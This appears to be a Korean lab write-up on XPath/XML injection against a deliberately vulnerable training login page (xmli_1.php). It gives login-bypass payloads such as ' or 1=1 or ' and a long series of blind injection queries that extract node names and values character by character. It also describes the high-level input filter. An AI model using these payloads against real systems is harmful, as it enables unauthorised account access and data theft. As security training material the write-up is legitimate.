XML
XAML은 데이터를 트리 구조의 노드로 표현하며 사용자 정의로 데이터를 분류한다.
<?xml version="1.0" encoding="UTF-8"?>
<movies>
<action>
<id>f</id>
<name>matrix</name>
</action>
위의 예시에서 최상위 노드는 'movies'고 하위 노드는 'action'이다.
action의 하위 노드에는 'id'와 'name'이 있다.
이렇듯 XML로 사용자는 다양한 데이터를 편의에 맞게 분류할 수 있다.
Xpath
Xpath는 일종의 쿼리로, XML 데이터베이스 내용을 선택하고 조작하기 위하여 사용한다.
XML은 트리 구조로 정의되어 있어서 다음 예시처럼 '/' 문자를 사용하여 최상위 노드부터 질의할 곳을 지정한다.
$result = $xml->xpath ('/movies/action[id='" .$id ."' and name='" .$name . "']");
이외에도 Xpath에 사용하는 명령어는 다양하다.
Login Form

'xmli_1.php' 페이지는 superhero 그룹의 사용자로 로그인하는 기능을 제공한다.
superhero 그룹의 사용자 계정 정보는 XML 데이터베이스에 저장된다.
이번 실습의 목표는 superhero 그룹의 사용자로 로그인하는 것이다.
난이도 low

인젝션이 가능한지 알아보기 위하여 아이디 입력란에 작은따옴표를 입력했다.
입력하면 위의 사진과 같이 상단에 경고 표시와 함께 오류 구문이 출력되는데, 오류 메세지에 XML과 관련된 경고가 있다.
확인해보면 'xpath' 관련 오류다.
XML은 노드들로 이루어져 있고 XPath로 데이터를 호출한다.
XPath에서 사용하는 명령어는 다음 표와 같다.
명령어 | 설명 |
/ | 최상위 노드 |
// | 현재 노드로부터 모든 노드 조회 |
* | 모든 노드 조회 |
. | 현재 노드 |
.. | 현재 상위 노드 접근 |
parent | 현재 노드의 부모 노드 |
child | 현재 노드의 자식 노드 |
[ ] | 조건문 |
node () | 현재 노드로부터 모든 노드 조회 |
슬래시와 노드 명을 입력하면 해당 노드의 내용을 조회한다.
로그인 페이지라서 아이디와 비밀번호를 AND 연산으로 호출한다고 추측했다.
AND 연산은 OR 연산보다 먼저 연산하기 때문에 항상 OR 연산과 함께 참이 되는 쿼리를 입력하면 AND 연산 결과와 상관없이 항상 결과는 참이 된다.
' or 1=1 or '
아이디 입력란에 조작한 쿼리를 입력하고 비밀번호 입력란에 아무 문자나 입력한다.

XML 인젝션 결과 'neo'라는 사용자로 로그인된다.

'neo'라는 사용자 외에도 heroes 테이블에 저장된 사용자로도 로그인할 수 있다.
heroes에 있는 사용자 중 'alice'로 접속할 때는 다음 쿼리를 사용한다.
alice' or 'alice'='alice
XML 인젝션으로 'neo'를 제외한 나머지 사용자에 접속할 때는 OR 연산자에 '1=1' 대신 문자를 입력하여 결과가 참이 되는 쿼리를 만든다.

XML 데이터베이스에 저장되어 있으므로 superhero 그룹 사용자의 계정 정보는 노드 구조로 이루어져 있다.
따라서 Xpath를 사용하여 데이터베이스의 구조를 파악한다.
'xmli_1.php' 페이지는 로그인 페이지이므로 로그인 성공일 때와 로그인 실패일 때의 응답만 제공한다.
따라서 쿼리 입력에 따른 참과 거짓 결과를 통하여 데이터베이스를 추측하는 Blind SQL 인젝션을 시도한다.
부모/자식 노드 사용
우선 데이터베이스의 구조를 파악하기 위하여 노드의 개수를 파악하는 'count' 함수를 사용한다.
count 함수의 인자로는 부모 노드의 모든 자식 노드를 조회하는 Xpath를 입력한다.
즉, 현재 노드를 포함하여 부모 노드의 자식 노드가 총 몇개인지 파악한다.
그 다음 OR 연산자로 항상 결과가 거짓이 되는 쿼리를 연결한다.
AND 연산자로 정상 쿼리와 연결한 앞의 쿼리가 거짓이면 두 쿼리 모두 거짓이 되므로 쿼리 입력 결과로 로그인 실패 메시지를 출력하고 앞의 쿼리가 참이 되면 로그인에 성공한다.
그러나 현재 페이지에서는 로그인 검증에 필요한 아이디와 비밀번호를 동일한 쿼리에서 입력받기 때문에 OR 연산자와 항상 참인 쿼리를 연결해도 Blind SQL 인젝션이 가능하다.
OR 연산자에 입력한 쿼리는 비밀번호를 입력받는 AND 연산자와 연결된다.
그 이유는 비밀번호 변수 값이 항상 거짓이 되기 때문이다.
neo' and count(../child::*)=1 or 'a'='b
'a'='b'는 언제나 거짓인 쿼리이다.
따라서 neo' and count(../child:*)=1이 참이면 전체 쿼리가 참이 된다.
neo'는 정상 쿼리이기 때문에 (로그인으로 확인했음) count(../child:*)=1, 즉 최상위 노드로 접근해서 모든 자식 노드의 개수를 세는데, 1개이면 참이 되어 전체 쿼리가 참이 되고 neo로 로그인이 될 것이다.

1부터 입력한 결과 부모 노드의 자식 노드는 총 6개이다.
count 함수와 Xpath를 적절하게 사용하여 노드 구조를 파악했다.
이번에는 부모 노드 명을 확인하기 위한 쿼리를 입력한다.
neo' and string-length(name(parent::*))=1 or 'a'='b
'name'은 인자에 입력된 노드명을 출력하는 함수고, 'string-length'는 인자로 받은 문자열의 길이를 반환하는 함수이다.
먼저 부모 노드 명의 길이를 추측한다.

1부터 입력한 결과 부모 노드 명은 총 6개의 문자로 이루어져 있다.
다음은 부모 노드의 이름을 추측하기 위한 쿼리를 입력한다.
name 함수를 이용하여 substring 하뭇에 부모 노드 명을 인자로 입력한다.
substring 함수를 사용하여 첫 번째 인자에 문자열을 입력하고, 두 번째 인자에서 문자열을 잘라낼 시작 위치를 지정하고, 세 번째 인자에서 시작 위치부터 몇 개의 문자를 반환할지 입력한다.
따라서 다음 쿼리로 부모 노드의 첫 번째 문자를 추측한다.
neo' and substring(name(parent::*), 1, 1)='h' or 'a' = 'b
a부터 입력한 결과 h를 입력하면 로그인에 성공한다.
즉, 부모 노드 명은 'h_____'이다.
다음 코드들을 삽입하여 전체 부모 노드 명이 'heroes'인 것을 확인할 수 있다.
neo' and substring(name(parent::*), 2, 1)='e' or 'a' = 'b
neo' and substring(name(parent::*), 3, 1)='r' or 'a' = 'b
neo' and substring(name(parent::*), 4, 1)='o' or 'a' = 'b
neo' and substring(name(parent::*), 5, 1)='e' or 'a' = 'b
neo' and substring(name(parent::*), 6, 1)='s' or 'a' = 'b
다음은 부모 노드의 자식 노드 명을 추측하기 위한 쿼리를 입력한다.
'position' 함수는 MySQL에서 linit 연산자와 같은 기능을 한다.
neo' and string-length(name(../child::*[position()=1]))=4 or 'a' = 'b
1부터 입력한 결과 첫 번째 자식 노드 명의 길이는 4다.
다음 쿼리는 첫 번째 자식 노드 명을 추측하기 위하여 substring 함수를 사용한다.
neo' and substring(name(../child::*[position()=1]), 1, 1)='h' or 'a'='b
a부터 입력한 결과 h를 입력하면 로그인에 성공한다.
따라서 첫 번째 자식 노드는 'h___'이다.
다음 코드들을 삽입하여 첫 번째 자식 노드 명이 'hero'인 것을 확인할 수 있다.
neo' and substring(name(../child::*[position()=1]), 2, 1)='e' or 'a'='b
neo' and substring(name(../child::*[position()=1]), 3, 1)='r' or 'a'='b
neo' and substring(name(../child::*[position()=1]), 4, 1)='o' or 'a'='b
부모 노드의 자식 노드는 총 6개이므로 position 함수에 입력한 숫자를 변경하여 노드 명을 알아낸다.
다음 코드들을 삽입하여 두 번째 자식 노드 명이 'hero'인 것을 확인할 수 있다.
neo' and substring(name(../child::*[position()=2]), 1, 1)='h' or 'a'='b
neo' and substring(name(../child::*[position()=2]), 2, 1)='e' or 'a'='b
neo' and substring(name(../child::*[position()=2]), 3, 1)='r' or 'a'='b
neo' and substring(name(../child::*[position()=2]), 4, 1)='o' or 'a'='b
계속 노드 명을 추측하다 보면 모든 자식 노드 명이 같다는 것을 알 수 있다.
XML 데이터베이스이므로 사용자 정의로 같은 속성을 지닌 노드는 노드 명이 동일하다.
따라서 현재 노드까지의 데이터베이스 구조는 다음과 같다.

현재 노드 사용
또 다른 방법으로 현재 노드를 통하여 노드 명을 알아낸다.
현재 노드 명의 글자수를 찾기 위하여 노드의 이름을 호출하는 name 함수와 string-length 함수를 사용한다.
neo' and string-length(name(.))=4 or 'a'='b
1부터 입력한 결과 4를 입력하면 로그인에 성공한다.
즉, 현재 노드의 글자 수는 4개다.
현재 노드 명을 찾기 위하여 name 함수와 substring 함수를 사용한다.
다음 쿼리로 현재 노드명의 첫 번째 문자를 추측한다.
neo' and substring(name(.), 1, 1)= 'h' or 'a'='b
a부터 입력한 결과 h를 입력하면 로그인에 성공하므로 현재 노드 명은 'h___'이다.
다음 코드들을 삽입하여 현재 노드 명이 'hero'인 것을 확인할 수 있다.
neo' and substring(name(.), 2, 1)= 'e' or 'a'='b
neo' and substring(name(.), 3, 1)= 'r' or 'a'='b
neo' and substring(name(.), 4, 1)= 'o' or 'a'='b
현재 노드의 자식 노드 개수를 찾기 위하여 count 함수를 사용하는데, hero 노드가 6개이므로 '[]'로 첫 번째 자식 노드를 지정한다.
neo' and count(/heroes/hero[1]/child::*)=6 or 'a'='b
1부터 입력한 결과 6을 입력하면 로그인에 성공한다.
첫 번째 hero 노드의 자식 노드는 총 6개이다.
전체 노드 개수를 조회하려면 '[]'를 제거한 쿼리를 입력하면 된다.
자식 노드 명의 글자 수를 찾기 위하여 자식 노드 중 위치를 지정하는 position 함수와 문자열의 길이를 출력하는 string-length 함수를 사용한다.
Xpath 쿼리인 '//'를 사용하여 부모 노드 명을 몰라도 자식 노드 명을 알아낼 수 있다.
neo' and string-length(name(//hero[1]/child::*[position()=1]))=2 or 'a'='b
1부터 입력한 결과 2를 입력하면 로그인에 성공한다.
따라서 자식 노드의 문자열 길이는 2다.
첫 번째 자식 노드 명을 알아내기 위하여 이번에는 substring 함수를 사용한다.
neo' and substring(name(//hero[1]/child::*[position()=1]), 1, 1)='i' or 'a'='b
a부터 입력한 결과 i를 입력하면 로그인에 성공한다.
즉, 첫 번째 자식 노드 명은 'i_'이다.
substring 함수의 두 번째 인자 값을 2로 변경하여 자식 노드의 두 번째 문자도 알아낸다.
neo' and substring(name(//hero[1]/child::*[position()=1]), 2, 1)='d' or 'a'='b
따라서 첫 번째 자식 노드 명은 'id'이다.
첫 번째 자식 노드 값의 길이가 몇인지 알아내기 위하여 문자열을 반환하는 string과 문자열의 길이를 반환하는 string-length 함수를 사용한다.
neo' and string-length(string(//hero[1]/id))= 1 or 'a' = 'b
1부터 입력한 결과 바로 로그인에 성공한다.
'id'라는 자식 노드 명과 노드에 입력된 문자열의 길이가 1이라는 점에서 순서 번호를 뜻한다고 추측한다.
길이를 알았으니 이번에는 첫 번째 자식 노드의 값을 알아내기 위하여 string 함수와 substring 함수를 사용한다.
neo' and substring(string(//hero[1]/id), 1, 1)=1 or 'a'='b
1부터 입력한 결과 바로 로그인에 성공한다.
즉, 첫 번째 자식 노드 'id'에는 순서 번호 1이 저장된다.
현재까지 SQL 인젝션으로 알아낸 데이터베이스 정보는 다음과 같다.

다음 자식 노드의 정보를 알아내려면 position 함수에 대입한 값을 증가시킨다.
neo' and string-length(name(//hero[1]/child::*[position()=2]))= 5 or 'a' = 'b
계속해서 그 다음 노드 정보를 알아내려면 '[]' 안의 숫자를 변경한다.
아니면 계속 position 함수의 값을 증가시켜도 된다.
neo' and substring(string(//hero[2]/id), 1, 1)=2 or 'a'='b
난이도 high

난이도 high에서는 작은따옴표를 사용해도 XML 오류 메시지를 확인할 수 없다.
xmli_1.php의 코드를 확인해 보았다.

xmli_check_1 함수를 사용해서 입력 데이터를 우회하는 것을 확인할 수 있다.
xmli_check_1 함수는 functions_external.php에 정의되어 있다.

xmli_check_1 함수는 str_replace 함수를 호출한다.
str_replace 함수는 인젝션에 사용되는 문자를 공백으로 대체한다.
str_replace 함수는 첫 번째 인자에 대체하려는 문자, 즉 인젝션에 사용되는 문자를 입력하고, 두 번째 인자에는 대체할 문자를 입력한다.
마지막 인자에는 변경한 내용을 저장할 변수를 입력한다.
xmli_check_1 함수에서 str_replace 함수를 사용하여 대체하고 있는 문자는 ', [, ], :, ,, *, /, 스페이스이다.